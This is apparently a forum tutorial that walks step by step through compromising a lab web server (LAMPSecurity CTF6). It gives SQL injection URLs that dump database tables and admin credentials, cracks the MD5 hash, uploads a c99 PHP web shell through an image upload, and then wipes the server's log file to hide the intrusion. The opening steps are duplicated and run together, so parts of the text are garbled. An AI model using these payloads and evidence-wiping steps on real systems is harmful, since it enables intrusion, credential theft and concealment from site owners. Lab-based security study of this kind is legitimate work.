Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sZSBMCzKeM7No6zPGE0upG6VPJfJ52EGlBJ62XCbDvGa5j0pi7o6GIRyup3ihm8Axpelm8NDsD_hD41khpqfwSEpARrwzL_9bAHNHb8nxqRHAh0BTB5uMUSi5umdEh1fKHP7spqRenYZhR0yKLjiWvY4j_wB937FZJgwJ0xzlhJHvZ=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uOPFDwt41esuhDaiYRuq7HKranjPBv1qyTJcXBSmlEaILgegcvHW8Kb1GKE0lG0sf_gYJpP49MBsmSPDQ1jwTy8ytcHElJIzmzFIGuR9OlzX1LazW48jEv8IsLDBePqi_iuSq5EYSqtIiNnDB2oMkz5RjCH88KtfGrA4ObFtgQ-qchKw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s6Xa-RIM_viDAZyaanx_m75yqiE0RNdnk8hTaNFj5Po_mHJ5a32EpXf4RkCWqmByU02ImJxViGC6e_JW6i6zWo3TOZb12kGob6OL3L392EHdZlVgLIwKD3DIPZmgyHDAa3a9ozBp4BJvMd1QjWK3Wt6gNSYihxkw158h2kekpXul7rIg=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXJa3QVBOscXQxCZCVNrPver-GhOJjcL_SFFQ_09Dhfu1N3KZBWo4JIz-XLg58ttLxExWzyaxo53XwpOO5iyKDshZddijGb_fvM4k0dNm-dfD3TWGTv3I4QXJ0kvMnossWmjsZMhEZVfgqILkP3hOIYWQNfEtajZ5z3QUamsVdO7lOwg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vV60HxS7cHvfoN0Le7Y1wtNyEt8rMPPex34_UjP2kga2w1wMNLdKEd0qPE1bXytkGU_2FsEHOMr-tvTS_xgNDw2TgY1jQraO9gd43ITE2lg0HYTJvJyIWP4gsCDPFUhRTBAf5M_KHebmmK8XzcmlQbqezKRhrlbiieggHo1gk4SvxrDg=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vF80vUyJ9nQK-cNoSahbuhfUcusvq9Q95-SsxEaDvpiVSqy0FKmrGBwmcKxKDNfsrJR1_SfP2uikvhDtiQc88j5RHRSRrZdT17G3M5ng9mvoCoYNzcoFadE3tVtUo0PrZ9mDZSfdo6w2Zx9V2mz72w3gWxrx4jAQcN9eRKk4akAAFH=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tsLMNkAJDmGjv2EOuEBm4Cpos8aLv-mZwN_Cb_ZpXNSn8EXuA9cTJ2j9sp3galsnu2nCU4ZvSXr9ANQ18v91s2wQHNixz1cFa7Vkg5ta5Xvj7N0bPnZ2cjIgf83Yp4_yGZTbFGk_oj-vZST2a19f8A0fmnt8UzCNilxo_yXCSu0AzQfF8=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sY7gGIHGQ26UXkvb-c-k24xkNOCL-0EuEtTxhFqfnj0kSQekldE6wWvY1mnwJq6NitemxD-s4XzJv63JxTEM0BPKddMY6A8rtnpd1i6o-s_0xIfbu_tC9z7HSkcRCqsxRSfK1dRjpEYldK7YIR41zowlYDxaerNsIa-kNtEsrAKY1tnQ8=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vlo1oJWhy7Eo2FrdjaRqiEpoeKf9itUrC0iwJlLNU77sUKBfNUSAjny4BXrX5tlLzdT-oseILvzSU5UVUlNkTyuG7YI008Xi4pO6aHoWh8F5cjkLeNJKA3h1oGVnTxDPkNO5fojwjeplMiYwv4s5UcofsDGJfoxcFPF4qjw7LlDDzLnzU=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uzmtGAHlDz6rF7m3rD2xY3SlPXGFxS82KV5KFBnEBzkWrZyf5IJosqIf-EvfyzfLlZe0ckq0XCnaKIxsuorl11sAgRju9bVGSza86Eadk7LGVU7MwPD2dnNOcBDuRNoPELJ9-72UsgN0FvN7K-I7noiy5-tJaJcWoOJaEDk02w8jLzc5A=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_urL185xS4EHzgHem2AU5yKmBx6Myh1BRithVOAIH36T4SDb3LhrvcYqQ4fX6fGeGE3y8CIBogtqiKC0mkxRBUM_HZZ01VRCC4-0jhAPSr9mh2W3Aw43ysgG1RLJhc4OO3N2ZwSggknnjr7zfvQe7OYW-aQ9xKFbk29zbu1q94nCfQG0g=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tdY-cwKIt2fDCKLicFjLbKPXw23L_Kl7P75x6ziNYtPOXgKNGIi8xrIAxjlhuIoCkQDOsGd77pGm5LwxjZRpz-wJlI8JfN4LEHCJo0qSUNPY_3fTvK3uBE9dXhXU4B8gUGOtpxyaxODPwgbdZL13oMM4x9wwCA5vYXgl3bABRKG6cu1kI=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sicG4RKqsDsRpuyQvSHtdDI76KyieIEv1u4Rgqq0c7b54m2TNDxA7W0fGaNcds61ZrcdOMwMK5CMIzUAJLjNi_XbebvVDhxgniR29oX-ylxpZ_AKKVwDeYilH8nsjOQl1ArAHD9bP1y4Y2b4vram9mWwAyYQxHCl-ow4LR9PMKaKYqjD8=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uKIVmFLr87kVQX_n8mWD_otlwiK8Scn0GG8HOszavIKWJZF3faGCkL_xtx6JN4WKZQF2rA-U0OMZLW8_oc7y7sZGZDkFywToEGYcLAMJU08nuud4_wd4Y4bc48qLwrschqZkJgOLs1NQ3BrhCzQRjS359C3th6SpcKKLK5B7B6KPQDBA=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uiNgo1zYGIYm2ZPNngCv8lYKf45GaPuC9rRZ2__23h95Vx32Ll-TOw5YIAyjSHAvdunOZ-aMRtWP9FrRayU_FewN5T8fuPs_xQcST9SwrsVhCchj6l-JBVYWaMv55xxCqEiB5EWUzI41x7jR8Ymz86T7wgK3DYZmfK_lmMwVT5xaT1Ow=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vtjFIyrmWDK88QYoO_M5mK0R888nejuk7KJtnGGAsbtNQatOSVxcGgTT9QS52kVjHnmeyYqgjgZYLO22yUtA20DU6MBi6Ka-5sNdagFHhtJA5WcW9sbFLR3j6ukhaN04IOHQGraHfCvXDouFV8uXKANpiB7gnLASIQ_1C_ZwIKbchQ3y4=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v11GsgkMa76PAKaRE24-N2wqIAYbhkBcrCoVNp9QVHI6tFEg31fJmTu8iZiLPH0QgBl8ptozVt_zkpJijZVy98tIsHDO0tSpzi0_D3N7oIVaZSQ6f-WKIT9WyRvDztWw9c2ITe7EBBw04PFiOyxQCPiXJRKXWdn2z8GTq0z-Fbt-dSAJM=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
